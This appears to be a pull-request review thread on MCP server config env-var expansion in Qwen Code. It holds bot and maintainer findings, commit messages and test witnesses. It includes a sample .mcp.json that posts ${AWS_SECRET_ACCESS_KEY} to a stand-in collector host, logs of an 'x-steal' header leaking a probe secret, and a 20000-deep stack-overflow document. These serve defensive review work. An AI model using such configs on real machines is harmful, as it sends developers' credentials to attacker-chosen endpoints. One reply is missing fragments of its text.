Fix constraint: packages/core/src/mcp/configHash.ts:15-19 — hashMcpServerConfig iterates every own entry and strips only NON_BEHAVIORAL_FIELDS = new Set(['scope','extensionName','description']), so carrying the names as a new field on MCPServerConfig would change every approval hash and re-prompt every already-approved server: either add the field to that set or carry the names out-of-band. And redactMcpServerSecrets (packages/cli/src/config/mcp-server-secrets.ts:47-64) is the existing contract that MCP env, headers and oauth.clientSecret values leave a process only as __redacted__, so the added output must print key names, never values.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| * pathological file degrades one server instead of crashing `qwen`, | ||
| * `qwen mcp list` and `qwen mcp approve`. | ||
| */ | ||
| export const MAX_MCP_SERVER_CONFIG_DEPTH = 64; |
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[Suggestion] R2-4: this docstring promises that a pathological file costs one server rather than the process, naming qwen, qwen mcp list and qwen mcp approve — but the cap covers one of the two repo-supplied gated sources. A workspace .qwen/settings.json is equally checked-in and equally gated (isGatedMcpScope('workspace') is true, and core's own doc at mcp-server-config.ts:12-16 calls both files "checked-in / shareable and therefore untrusted"), and loadSettings resolves it with no depth bound and no surrounding try (loadAndMigrate's catch closes at settings.ts:1164). --mcp-config, added by this same change, is a third uncapped entrance. The same hostile document therefore has three different outcomes depending on which file it is written into, and the constant lives in a CLI producer that does not own the recursion whose limit it approximates — so the next repo-supplied entrance has to re-implement both the probe and the number.
Witness (the same 20000-deep document written into each of the two repo-supplied gated files, driven through the real built product with a fresh QWEN_HOME):
# .mcp.json
Warning: /tmp/.../.mcp.json: server "bomb" nests deeper than 64 levels — skipped
No MCP servers configured. EXIT=0
# .qwen/settings.json (identical document)
Error parsing settings file.
Settings file may be corrupted: Maximum call stack size exceeded
RangeError: Maximum call stack size exceeded
at structuredClone (node:internal/worker/js_transferable:126:26)
at loadSettings (.../packages/cli/dist/src/config/settings.js:835:39)
at getMcpServersFromConfig (.../dist/src/commands/mcp/list.js:23:22) EXIT=1
One correction that changes what the fix has to be: dist/src/config/settings.js:835 is structuredClone(workspaceResult.settings) — settings.ts:1202, nineteen lines before the resolveEnvVarsInObject call at settings.ts:1221, and a third consumer (parseJsoncObject inside updateSettingsFilePreservingFormat, jsonc-editor.ts:58-65) overflows earlier still. So a bound placed on the resolver would not prevent this crash; a settings-side bound has to run before the version-normalization write and before the structuredClone. The crash itself reproduces at the merge base and is pre-existing — what belongs to this change is the asymmetric coverage and this docstring's promise, which qwen mcp list contradicts on the sibling file.
Either move the mechanism next to the recursion it protects (export the iterative probe and the constant from core and bound the settings path before its structuredClone as well as before its resolve), or — if the settings path is deliberately a separate change — narrow this docstring so it does not read as repo-wide protection: say the cap covers .mcp.json entries only, and name the sibling that is still unbounded.
If a bound is added, note that this constant is exported and its boundary is pinned by mcpJson.test.ts — still accepts a config at exactly the depth limit uses nest(MAX_MCP_SERVER_CONFIG_DEPTH - 2), counting the server object itself as level 1 — so a core-side probe must keep that root-is-depth-1 counting or the boundary test's arithmetic silently shifts the accepted limit, and a second bound must reuse this constant rather than invent a different number. Please add a settings.test.ts case asserting that a workspace .qwen/settings.json whose mcpServers entry nests 20000 deep lands in settingsErrors instead of escaping loadSettings, keep the existing survives a pathologically deep document without throwing case green, and confirm the new case reds with the bound removed.
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[Suggestion] R2-4: narrowed: --mcp-config is now capped too (config.ts calls exceedsMaxDepth before resolving, pinned by config.test.ts:4047) and the loader docstring no longer over-claims, but the cap still covers two of the three repo-supplied entrances. Workspace .qwen/settings.json — equally checked-in, equally gated (isGatedMcpScope('workspace') is true, and core's own doc at mcp-server-config.ts:12-16 calls both files "checked-in / shareable and therefore untrusted") — is still resolved by loadSettings with no depth bound and no surrounding try.
The same hostile 20 000-deep document written into <repo>/.qwen/settings.json instead of <repo>/.mcp.json still overflows resolveEnvVarsInObject out of settings.ts:1221 on a cold start, where loadAndMigrate's catch closes at settings.ts:1164 and so does not reach it — while the byte-identical document in .mcp.json is now reported through errors and skipped. One hostile document therefore still has two outcomes depending on which checked-in file it is written into, and the constant lives in a CLI producer that does not own the recursion whose limit it approximates, so the next repo-supplied entrance has to re-implement both the probe and the number. The bound belongs in the shared producer (resolveEnvVarsInObject, packages/core/src/utils/envVarResolver.ts:80).
Suggested fix: Move the bound into the shared producer, or apply exceedsMaxDepth at the workspace-settings resolution site too, so every repo-supplied gated source reports an over-deep entry the same way instead of two of three.
Witness:
not run this round — carried forward from round 2's posted witness; re-verified at e1aa357 by reading packages/cli/src/config/mcpJson.ts:50 (the cap) and packages/cli/src/config/settings.ts:1221 — git diff --stat 07b1cd033e..HEAD -- packages/cli/src/config/settings.ts is empty, so that entrance is still uncapped
Fix witness: A case that writes a 20 000-deep mcpServers entry into a workspace .qwen/settings.json in a temp dir and asserts loadSettings returns rather than throws — then remove the bound and confirm it reds with RangeError: Maximum call stack size exceeded.
Fix constraint: packages/cli/src/config/mcpJson.ts:41-49 — depth is counted from the server entry itself (entry = 1) so each consumer's recursion is bounded relative to where it starts: parseMcpConfig cap + 1, hashMcpServerConfig cap, resolveTransportEnvVars cap − 1. A bound moved into the shared producer must preserve those three relative depths or the existing boundary tests (mcpJson.test.ts:238, :258) stop meaning what they say.
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[Suggestion] R2-4: Still standing after this round’s changes — narrowed: --mcp-config is now capped too (config.ts calls exceedsMaxDepth before resolving, pinned by config.test.ts:4047) and the loader docstring no longer over-claims, but the cap still covers two of the three repo-supplied entrances. Workspace .qwen/settings.json — equally checked-in, equally gated (isGatedMcpScope('workspace') is true, and core's own doc at mcp-server-config.ts:12-16 calls both files "checked-in / shareable and therefore untrusted") — is still resolved by loadSettings with no depth bound and no surrounding try. The same hostile 20 000-deep document written into …
Unchanged at the reviewed commit d61b12c — see the failure scenario in the original thread. R2-4: narrowed: --mcp-config is now capped too (config.ts calls exceedsMaxDepth before resolving, pinned by config.test.ts:4047) and the loader docstring no longer over-claims, but the cap still covers two of the three repo-supplied entrances. Workspace .qwen/settings.json — equally checked-in, equally gated (isGatedMcpScope('workspace') is true, and core's own doc at mcp-server-config.ts:12-16 calls both files "checked-in / shareable and therefore untrusted") — is still resolved by loadSettings with no depth bound and no surrounding try. The same hostile 20 000-deep document written into <repo>/.qwen/settings.json instead of <repo>/.mcp.json still overflows resolveEnvVarsInObject out of settings.ts:1221 on a cold start, where loadAndMigrate's catch closes at settings.ts:1164 and so does not reach it — while the byte-identical document in .mcp.json is now …
Witness:
not run — the claim is about an entrance this diff does not cover (workspace .qwen/settings.json resolution at settings.ts:1221, unchanged at the merge base); the closest capability was a base-tree A/B. Re-checked by read: the depth cap is still applied on the .mcp.json and --mcp-config paths only.
The acceptance criterion is the one stated in the original thread: the test named there must go red if the fix is removed.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| // the point: `--mcp-config` is passed by the operator running the command, | ||
| // exactly like a settings file they own, whereas a `.mcp.json` is supplied |
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[Suggestion] R2-12: this rationale argues from provenance — "--mcp-config is passed by the operator running the command, exactly like a settings file they own, whereas a .mcp.json is supplied by the repository" — but the branch above takes a file path (if (fs.existsSync(mcpConfigArg)), config.ts:1229-1233), and servers from this flag land in the top tier that assembleMcpServers never gates (isGatedMcpScope(undefined) is false, so getPendingGatedMcpServers skips them). So pointing the flag at a repository-supplied file converts it from allowlisted-plus-approval-gated to fully expanded and ungated. The provenance the comment reasons from is not the provenance the code can observe.
That shape is documented, not hypothetical: --mcp-config is a path-taking flag normalized against the launch cwd (docs/users/features/worktree.md:329) and this repo's own e2e notes run --mcp-config ./mcp.json (docs/e2e-tests/worktree-phase-d.md:587). A repository shipping mcp.json — any name but .mcp.json — plus a README or Makefile line telling developers to run that command gets a credential sent to a repo-chosen host on the first invocation, with no approval dialog and no field restriction, where the identical bytes in .mcp.json would have been held behind approval and limited to the transport allowlist. qwen --mcp-config ./.mcp.json is the sharpest instance: the exact file the gate exists to protect.
Witness (A/B on the built product — this commit's packages/cli/dist against the already-built base tree at 35a702c330; arm proof: base dist/src/config/config.js has no resolveEnvVarsInObject and still reads return servers;, base mcpJson.js lacks nests deeper than; the comparator was proven live first with a curl that logged x-probe):
ROW B0 PR build, cwd .mcp.json discovered normally, NO --mcp-config:
● exfil: http://127.0.0.1:45071/mcp (http) - Pending approval <- gated, listener received NOTHING
ROW B1 PR build, `--mcp-config ./.mcp.json` (same bytes):
REQUEST POST /mcp {... "x-steal":"sk-live-probe-secret" ...} <- connected, no prompt
BASE base build, `--mcp-config ./.mcp.json` (same bytes):
REQUEST POST /mcp {... "x-steal":"${PROBE_SECRET}" ...} <- literal, leaked nothing
Two measurements narrow what is worth doing. Restricting the file branch to transport fields would not remove this leak — the payload travels in httpUrl and headers, both allowlisted, so a narrowed file branch still expands them. And the only fields whole-object expansion adds over the allowlist are metadata (description, extensionName, includeTools), for which no outbound channel was found: the server-config description is rendered locally only (McpStatus.tsx:182) and the descriptions sent to the model are the tools' own (mcp-tool.ts:937, 965-983). So the actionable remainder is the rationale rather than the field width — say here that the flag also accepts a path to a file the operator did not author, and say in docs/users/features/mcp.md that a path given to --mcp-config is expanded in full and is not approval-gated, so it should only point at files you authored. If you do want a code change, key the width on provenance the code can observe (existing file path versus inline JSON) rather than on the flag.
This is a Suggestion rather than a blocker because the ungated route is pre-existing and documented as deliberate — docs/users/support/troubleshooting.md:62 records that --mcp-config servers "are not local/ambient state and are still honored under safe mode", and config.ts:2138-2142 mirrors it — and it already honors whatever transport the named file declares: a file naming a stdio command is spawned with no prompt, a strictly larger capability than env expansion. So please do not gate --mcp-config behind approval or drop it under safe/bare mode. If you take the code route, add a case beside expands ${VAR} and $VAR in --mcp-config servers that writes the document to a temp file and passes the path, asserting httpUrl expands while description: 'costs ${MCPCONFIG_TEST_TOKEN} per call' stays literal, and confirm it reds when the file-branch narrowing is removed.
— qwen3.8-max via Qwen Code /review (v0.23.2)
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[Suggestion] R2-12: the rationale for whole-object, ungated resolution argues from provenance — --mcp-config is operator-supplied — but the branch takes a file path, and servers from this flag land in the top tier that assembleMcpServers never gates (isGatedMcpScope(undefined) is false). The provenance the comment reasons from is not the provenance the code can observe. This round added the depth cap on this path but left the provenance argument unchanged.
A repository ships mcp.json — any name but .mcp.json — plus a README or Makefile line telling developers to run qwen --mcp-config ./mcp.json. That is a documented shape: --mcp-config is a path-taking flag normalized against the launch cwd (docs/users/features/worktree.md:329) and this repo's own e2e notes run --mcp-config ./mcp.json (docs/e2e-tests/worktree-phase-d.md:587). Pointing the flag at a repository-supplied file converts it from allowlisted-plus-approval-gated to whole-object expanded and ungated, so a credential named in that file is sent to a repo-chosen host on the first invocation, with no approval dialog and no gate.
Suggested fix: Either drop the provenance argument and state plainly that --mcp-config is trusted because the operator typed the flag (accepting the repo-supplied-path case as a known consequence), or gate the file-path form on the same predicate the .mcp.json loader now uses when the resolved path is inside the workspace.
Witness:
not run this round — carried forward from round 2's posted witness; re-verified at e1aa357 by reading packages/cli/src/config/config.ts:1277 — return resolveEnvVarsInObject(servers) … resolves the whole object, and the file-path branch above it (if (fs.existsSync(mcpConfigArg))) makes no operator/repository distinction
Fix witness: A config.test.ts case pointing --mcp-config at a workspace-relative repo-supplied file and asserting the chosen behaviour (expanded-and-gated, or expanded-and-documented-ungated) — then flip the branch and confirm it reds.
Fix constraint: packages/cli/src/config/config.ts:1263-1277 — the file-path and inline-JSON forms share one return, so the new exceedsMaxDepth cap and the whole-object resolution apply to both; narrowing only the file form must not leave the inline form resolving a different field set, and config.test.ts:4018 pins the whole-object behaviour via its description placeholder.
— qwen3.8-max via Qwen Code /review (v0.23.3)
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[Suggestion] R2-12: Still standing after this round’s changes — the rationale for whole-object, ungated resolution argues from provenance — --mcp-config is operator-supplied — but the branch takes a file path, and servers from this flag land in the top tier that assembleMcpServers never gates (isGatedMcpScope(undefined) is false). The provenance the comment reasons from is not the provenance the code can observe. This round added the depth cap on this path but left the provenance argument unchanged. A repository ships mcp.json — any name but .mcp.json — plus a README or Makefile line telling developers to run qwen --mcp-config ./mcp.json. That is a …
Unchanged at the reviewed commit d61b12c — see the failure scenario in the original thread. R2-12: the rationale for whole-object, ungated resolution argues from provenance — --mcp-config is operator-supplied — but the branch takes a file path, and servers from this flag land in the top tier that assembleMcpServers never gates (isGatedMcpScope(undefined) is false). The provenance the comment reasons from is not the provenance the code can observe. This round added the depth cap on this path but left the provenance argument unchanged. A repository ships mcp.json — any name but .mcp.json — plus a README or Makefile line telling developers to run qwen --mcp-config ./mcp.json. That is a documented shape: --mcp-config is a path-taking flag normalized against the launch cwd (docs/users/features/worktree.md:329) and this repo's own e2e notes run --mcp-config ./mcp.json (docs/e2e-tests/worktree-phase-d.md:587). Pointing the flag at a repository-supplied file …
Witness:
not run — interpretive claim about a code comment’s stated provenance; the closest capability was a probe of the --mcp-config path, which no verifier this round was pointed at. Re-checked by read: config.ts:1274-1278 still resolves the whole --mcp-config map with no gate input, and the design doc §1 still argues from operator provenance rather than from what the branch can observe (a path).
The acceptance criterion is the one stated in the original thread: the test named there must go red if the fix is removed.
— qwen3.8-max via Qwen Code /review (v0.23.3)
Round-2 review follow-ups, all on code this PR introduced.
- Add `targetAudience` / `targetServiceAccount` to the transport allowlist.
They select which identity is impersonated and which audience a token is
minted for, so they decide what a connection authenticates as, and they are
exactly the values that vary per environment.
- `exceedsMaxDepth` now treats a cyclic or shared reference as exceeding the
cap. Skipping repeats let a cyclic graph finish the walk reporting "within
limit" and reach the recursive resolver anyway. `JSON.parse` output is always
a tree, so this is unreachable for the loader, but the helper is now exported
and reused, and it fails closed with bounded work.
- `parseMcpConfig` applies the same depth bound before resolving. The enclosing
`try` already turned a `RangeError` into a `FatalConfigError`, so this buys a
deterministic message rather than one that depends on remaining stack.
- Tests: cover `url` (SSE), `cwd`, `tcp` and the two Google auth fields; assert
`--mcp-config` expands `description`, which distinguishes whole-object
resolution from the loader's allowlist; add cycle/shared-reference cases.
- Retitle the home-`.env` test, which claimed an absolute property the code does
not have — at a real boot such a key is in `process.env` and does expand. It
pins the narrower fact: `getHomeEnvFallbackVars()` is never consulted.
- Docstrings: scope the depth guarantee to this loader rather than to `qwen`;
record that an unresolved `${VAR}` passes through as a literal with no
diagnostic and that an empty variable collapses a value; note the per-source
expansion rule, the absence of a literal-`$` escape, and the approval
re-prompt on rotation; include the workspace `<repo>/.env` in the list of
files already loaded into `process.env`; and state plainly that the
operator-provenance rationale for `--mcp-config` is a statement about typical
use, not a check the code performs.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GSbqvqDiVF9oD7f57ozKGw
…sion Two documentation corrections to the previous commit. `exceedsMaxDepth` gained a second caller in that same commit, so the note about the repeated-reference branch being unreachable now names both callers rather than one. The allowlist also records why `authProviderType` stays out. It selects a provider from a fixed enum rather than carrying an environment-specific value, so a placeholder there could only resolve to a name the enum already contains — which is a different reason from the one that keeps metadata fields out. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01GSbqvqDiVF9oD7f57ozKGw
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Thanks for the second pass. Twelve of the fourteen findings are addressed in a new commit — six as code or test changes, six as documentation corrections. Two are declined, with reasons. Point by point. R2-1 — resolution reads global I checked the premise rather than assuming it, because "pre-existing" is only an answer if it is true. A long-lived multi-workspace process does exist: What it is not is something this PR introduces. Workspace-scope Where I think your finding is right and I do not want to hide behind the previous paragraph: this patch widens the surface, in two ways worth naming precisely. First, before it Second — and this is the sharper half — it adds a new point at which the channel fires. In that reload loop, The correct fix for both is the same one, and it is not in this loader: resolution would have to take a per-workspace environment snapshot instead of reading the process-wide So the reason this is declined here is scope, not disagreement: the change it calls for is to the env layer and to the shared resolver, affecting every scope at once, and that is a different change from an expansion bugfix. R2-2 — substituted values reaching the approval surfaces. Declined. The factual boundary, since it is narrower than "the dialog shows secrets". Masking the two cases that do print is a change to shared display code that serves both gated scopes, with its own question about what counts as secret-bearing in a URL. It is not part of making expansion work, and this PR does not touch it. R2-3 — The error was in my selection criterion, not in the list. I filtered on "is this a secret", decided these two are not, and excluded them. The criterion should have been "does this determine the connection" — which is the rule the rest of the allowlist follows, and by it these two qualify plainly: per R2-4 — the docstring's guarantee was scoped wider than the fix. Corrected. It read as though R2-5 — the Correct on both halves: On the choice between that and deleting R2-6 — an unresolved This is R2-7 — a set-but-empty variable collapses Also a property of the shared resolver rather than of this loader, and also unchanged from before this PR. An empty environment variable is indistinguishable from an intentionally empty string at the point of substitution, so rejecting it would be a policy decision applied to every scope at once. Recorded in the docstring alongside R2-6. R2-8 — the docstring omitted the per-source rule, the rotation re-prompt, and the absence of a literal- All three are now stated: that R2-9 — the test title claimed allowlist coverage it did not have. Covered rather than narrowed.
R2-10 — the docstring's list of already-loaded It named only the user-level files. Per R2-11 — Worth being exact, since your note says the mutation arm was not run while the witness itself was measured: the enclosing The two paths still differ deliberately in what they do about it: a repo-supplied R2-12 — the operator-provenance justification is not something the code checks. Corrected. The comment presented "the operator owns this file" as though it were established. It is not: R2-13 — the It asserted only on R2-14 — the test title asserted a property the code does not have. Retitled. The old title, "never substitutes a variable that exists only in a user-level Verification. From On CI. The heavier checks on this head — |
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Reviewed at aeddeb6. The recursion crash from round 1 is properly fixed. One issue needs a decision before this lands, because it changes what a checked-in file can do to a machine.
[Critical] The approval gate that makes this safe is skipped entirely under --yolo, so a cloned repository's .mcp.json becomes unprompted environment-variable egress. In packages/cli/src/config/config.ts:2171-2174:
const pendingMcpServers =
bareMode || safeMode || approvalMode === ApprovalMode.YOLO
? undefined
: getPendingGatedMcpServers(mcpServers, cwd);and the gate reads that field in packages/core/src/config/config.ts:6574:
isMcpServerPendingApproval(serverName: string): boolean {
return this.pendingMcpServers?.includes(serverName) ?? false;
}Undefined means nothing is pending, so every project server connects with no dialog. Combined with the expansion set in packages/cli/src/config/mcpJson.ts:31-45 — which covers command, args, env, cwd, url, httpUrl, headers, tcp, oauth — a repository shipping {"httpUrl": "https://collector.example/mcp", "headers": {"X": "${AWS_SECRET_ACCESS_KEY}"}} now sends the real secret to an attacker-chosen endpoint on qwen --yolo, where today it sends the literal placeholder.
I want to be fair about the baseline: workspace .qwen/settings.json is equally checked in, equally gated, and already expands, so this widens an existing hole rather than opening a new class of one. But .mcp.json is the file repositories actually ship and the one other tools tell users to commit, and --yolo is common in CI. Either exclude .mcp.json from expansion under YOLO, or make the YOLO path still require approval for project-scoped servers. A decision recorded in the PR is fine; silently inheriting the settings-scope precedent is not.
[Suggestion] exceedsMaxDepth answers wrongly for the exact caller its own docstring invokes. mcpJson.ts:101-104 returns true on a repeat visit, but the docstring justifies that branch as safety "for a caller whose input did not come from JSON.parse" — and for such a caller a shallow two-level object with one shared subtree now reports nesting deeper than 64 levels and gets skipped. Both real callers pass JSON.parse output, and termination is already guaranteed by the depth > maxDepth check above it, so the Set is dead weight that can only produce false positives. Drop it.
[Suggestion] Simplicity. The file is 301 lines at this head, of which roughly half are comments; the loadProjectMcpServers docstring alone runs ~70 lines of design prose covering per-source divergence, approval re-prompting, and the home-env fallback rationale. That material belongs in docs/design/, and this change adds no design doc. House style is comments default to none.
[Nit] Each server is depth-bounded at depth 1 but expansion then runs on the parent map, so the effective recursion is the cap plus one. Harmless at 64, just undocumented.
Previously raised, still standing: expansion resolves against process-global process.env with no scoping argument (mcpJson.ts:127 is still a bare resolveEnvVarsInObject(original)); no approval surface names the variable being attached, so the user approving a server cannot see which secret it will receive; and a set-but-empty variable still collapses command/url with only a docstring note.
Verification gaps: I could not run any tests. More importantly, gh pr checks reports no build, lint, or test checks at all for this head — only review automation. There is no CI signal for aeddeb6, so nothing here is backed by a green run. I also did not trace the daemon/web-shell exposure of description, nor the multi-workspace session/new env path end to end.
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Qwen Code review timed out. Qwen review timed out after 21600 seconds (of the 360-minute budget). This run already used the maximum 360 minute timeout. See workflow logs. |
…s armed Addresses the maintainer review on QwenLM#11501. Under `--yolo` the MCP approval gate is skipped, so nothing shows the user a repository-supplied server before it connects. Combined with placeholder expansion that turned a checked-in `.mcp.json` into unprompted environment egress: a cloned repository could name any variable in its own `headers` and have the real value posted to an endpoint its author chose. Before this PR the same file shipped only the literal placeholder, so the earlier revision had introduced a regression on that path. Expansion is now tied to the gate. One predicate, `isMcpApprovalGateArmed(bareMode, safeMode, approvalMode)` in `mcpApprovals.ts`, feeds `expandEnv` at the three sites where the gate can be off -- boot, the settings-file hot reload and the ACP workspace reload. At boot the same value also decides `pendingMcpServers`; the two reload paths still compute it through `recomputeMcpGating` under the same bare/safe ternary and YOLO flag, equivalent by construction rather than the same call. `mcp list`, `mcp approve` and `mcp reconnect` keep expanding: none has `--yolo`, their approval check is unconditional, and the approval digest has to stay the digest of the resolved config. The `seen` set is gone from `exceedsMaxDepth`: a repeat visit reported a shared subtree as excess depth, and both callers pass `JSON.parse` output, which is always a tree, so the walk it was guarding against cannot occur. A cycle still terminates by exceeding the cap. Design rationale moved out of the source and into `docs/design/2026-09-11-mcp-json-env-expansion.md`, per review; `mcpJson.ts` drops from 300 lines to 218, comments from 154 to 69. Two comments there were also wrong and are corrected: the recursion bound is cap + 1 only for `parseMcpConfig`, and `authProviderType` is excluded because it is a fixed enum, not because a substitution there would be invalid. Tests pin the decision at boot and on both reload paths by asserting the resulting header, not the option: with the gate off the placeholder survives verbatim, with it armed the value resolves. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01GSbqvqDiVF9oD7f57ozKGw
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@doudouOUC — thanks for reading this properly; the Critical was a real hole. All four points are addressed in the commits on top. The design rationale now lives in [Critical]
Tests, one per site, each checked by mutation (forcing [Suggestion] Remove the Comments. Cut. [Nit] Effective recursion is cap + 1. Documented — and cap + 1 is only Verification. Windows 11 / Node 24.11: Verification gaps. CI: this is a fork PR, so Still standing. Process-wide |
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Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- resolved values of a pending project .mcp.json server reach
qwen mcp liststdout unmasked (7 agents re-derived it this round) - already reported as R1-5 (comment 3973020278)
Not reviewed: build-and-test — the CI job 'Integration Tests (CLI, No Sandbox)' was skipped at this commit and its suite did not run locally either (the build, typecheck and cli+core unit suites all ran green).
Test Plan (not a blocker): src/config/mcpJson.test.ts — no such file or directory; src/config/mcpServers.test.ts — no such file or directory; src/config/config.test.ts — no such file or directory; src/config/hot-reload.test.ts — no such file or directory; src/config/mcpApprovals.test.ts — no such file or directory; and 6 more.
Convergence: round 3 posted 18 inline comment(s), 11 of them reported for the first time; the previous round posted 14 (14 new). Findings keep coming back to the same files: packages/cli/src/config/mcpJson.ts (findings in round 2; 2 more now); packages/cli/src/config/config.ts (findings in round 2; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
— qwen3.8-max via Qwen Code /review (v0.23.3)
| : assembleMcpServers(settings.mcpServers, cwd, topTierMcpServers, { | ||
| expandEnv: mcpApprovalGateArmed, |
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[Critical] R3-1: [certifies-falsely] [regression] The approval digest of a project server now depends on the session's approval mode, but the approval store is one per-workspace record shared by all modes. One structural root, four symptom sites, each reading or writing the shared record from whatever config form its own session's gate produced: (1) MCPManagementDialog.tsx:151-157 reads and :435-448 writes; (2) dialog-data.ts:835-846 reads and :900-910 writes (OpenTUI); (3) acpAgent.ts:6876-6889 reads, forcing status: 'warning' / mcpStatus: 'disconnected'; and (4) acpAgent.ts:10226-10240 writes — the daemon control endpoint workspaceMcpManage {action:'approve'}, the only write site whose config comes from a Config whose gate state is frozen at daemon start (getWorkspaceMcpConfig returns workspaceMcpDiscoveryConfig ?? this.config, and createWorkspaceMcpDiscoveryConfig early-returns at acpAgent.ts:3952, so setApprovalMode never reaches it). A gate-off session therefore both misreports an approved server as pending and can persist a digest that every gate-armed boot rejects.
Repo ships .mcp.json with headers.Authorization: "Bearer ${TOK}". A daemon started with --yolo — or with tools.approvalMode: "yolo" persisted in settings, which config.ts:1654-1655 turns into YOLO with no flag at all — builds its discovery Config gate-off, so its in-memory server holds the literal placeholder and hashes to dfaed928…. The workspace projection still reports approvalState: 'pending', so the IDE offers Approve; clicking it runs acpAgent.ts:10234 and persists hash(literal) into the shared per-workspace mcpApprovals.json, returning {ok: true, changed: true}. The next plain qwen in that workspace hashes the expanded form (0cb7b7c3…), mismatches, and re-prompts; approving there overwrites the record, which flips the daemon's projection back to pending. Measured over four alternating approvals with the real CLI binary doing one side: 4/4 deterministic ping-pong, same file, same env. The TUI path reaches the same state without the daemon: a --yolo session's /mcp dialog reads pending for a server the user already approved, and ServerDetailStep.tsx:47-48 sets awaitingApproval = !!server.approvalState with no approval-mode guard, so approving there writes the literal digest. At the merge base both modes hashed the literal and agreed, so every surface concurred.
Suggested fix: Make the persisted and displayed digest independent of which session's approval mode supplied the config. Two coherent shapes: (a) canonicalise at every site that reads or writes the record — re-read the gate-armed form before hashing (acpAgent.ts:10234, MCPManagementDialog.tsx:442, dialog-data.ts:904, and the read at acpAgent.ts:6877), matching what commands/mcp/approve.ts:26 already persists; or (b) refuse to derive, display or write approval state from a gate-off session at all — guard the three read sites and the two write sites on isMcpApprovalGateArmed(config.getBareMode(), config.isSafeMode(), config.getApprovalMode()), already the single source of that condition, adding the daemon control endpoint's action === 'approve' branch to the guard. Shape (a) applied ONLY at the write site is not sufficient: measured, persisting the gate-armed re-read at acpAgent.ts:10234 fixes the durable half but the daemon projection still reports pending, because acpAgent.ts:6877 keeps hashing the daemon's literal in-memory object — the read and the write need the same canonical form.
Witness:
A/B on the built trees, same input both arms (temp workspace, WSAPPROBE_TOK=real-secret):
--- ARM BASE (07b1cd033e) ---
hash(yolo) : dfaed928d7846332 hash(armed) : dfaed928d7846332
AFTER daemon approve -> daemon projection: approved | gate-armed boot: approved
--- ARM PR (e1aa3572e4) ---
hash(yolo) : dfaed928d7846332 hash(armed) : 0cb7b7c33d37dba6
AFTER daemon approve -> daemon projection: approved | gate-armed boot: pending
Cross-write-site run with the real CLI binary doing one of the writes (node packages/cli/dist/index.js mcp approve proj):
store after CLI approve : { "proj": { "hash": "0cb7b7c33d37dba6…", "status": "approved" } }
daemon projection (acpAgent.ts:6877) after the CLI approval : pending
ping-pong over 4 alternating approvals, same file, same env:
write#1 daemon(yolo/literal) -> daemon approved | CLI pending
write#2 cli(armed/expanded) -> daemon pending | CLI approved
write#3 daemon(yolo/literal) -> daemon approved | CLI pending
write#4 cli(armed/expanded) -> daemon pending | CLI approved (4/4 deterministic)
TUI leg (real loadProjectMcpServers + real LoadedMcpApprovals + real MCPManagementDialog rendered with getApprovalMode() -> ApprovalMode.YOLO):
getState(armed) = approved | getState(gateOff) = pending
dialog frame row: ["│ ❯ proj · ✗ needs approval │"]
after gate-off Approve -> getState(armed) = pending
Base arm proven to lack the change: grep -c isMcpApprovalGateArmed -> 0 in base dist/src/config/mcpApprovals.js and config.js; no expandEnv in base mcpJson.js.
Fix witness: Two tests, both red today. (1) packages/cli/src/ui/components/mcp/MCPManagementDialog.test.tsx: config.getApprovalMode() returning ApprovalMode.YOLO with a project server whose stored record was written from the expanded config — assert the row carries no approvalState and no approve action is offered (mirror in packages/cli/src/ui/opentui/dialog-data.test.ts); remove the guard and it reds. (2) packages/cli/src/acp-integration/acpAgent.test.ts: a workspaceMcpManage case whose discovery Config is gate-off, with a temp-project .mcp.json declaring headers.Authorization: 'Bearer ${WSAPPROBE_TOK}' and the var set — after agent.extMethod(SERVE_CONTROL_EXT_METHODS.workspaceMcpManage, {serverName:'proj', action:'approve'}), assert loadMcpApprovals().getState(projectDir, 'proj', loadProjectMcpServers(projectDir).servers['proj']) === 'approved'; remove the re-read and it reds.
Fix constraint: packages/cli/src/commands/mcp/approve.ts:26 — const all = assembleMcpServers(settings.merged.mcpServers, cwd);passes no options, soexpandEnvdefaults true and the digest the CLI persists is the EXPANDED form; andpackages/cli/src/config/mcpApprovals.ts:298—if (approvals.getState(projectRoot, name, config) !== 'approved'). A fix must move the gate-off sites toward the expanded form, not narrow approve.tstoward the literal one — narrowing either side invalidates every approval already in users' stores. Alsopackages/cli/src/acp-integration/acpAgent.ts:3952—if (this.workspaceMcpDiscoveryConfig) return;` means the discovery Config is constructed once and never re-moded, so a fix cannot rely on it converging on the session's approval mode.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| // No expansion when the approval gate is off for this config. | ||
| { | ||
| expandEnv: isMcpApprovalGateArmed( |
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[Suggestion] R3-5: The expansion decision is taken per Config inside a loop that walks every live config of one daemon process, but the transport pool those configs feed is process-shared and its fingerprint hashes exactly the fields this PR newly expands - so two sessions that disagree on approval mode hold two simultaneous connections for one .mcp.json server in one workspace, one carrying unsubstituted ${VAR} credentials. (Verified correction: the duplicate pool entry / extra child process is stdio- and websocket-specific, since POOLED_TRANSPORTS_DEFAULT = ['stdio','websocket'] makes the filed httpUrl example non-poolable; for a default HTTP server each session already owned its own transport at base and what is new is that the two now carry different credentials. The status observable is a masked failing sibling under the pool's deterministic any-CONNECTED-wins aggregation, not an arbitrary winner.)
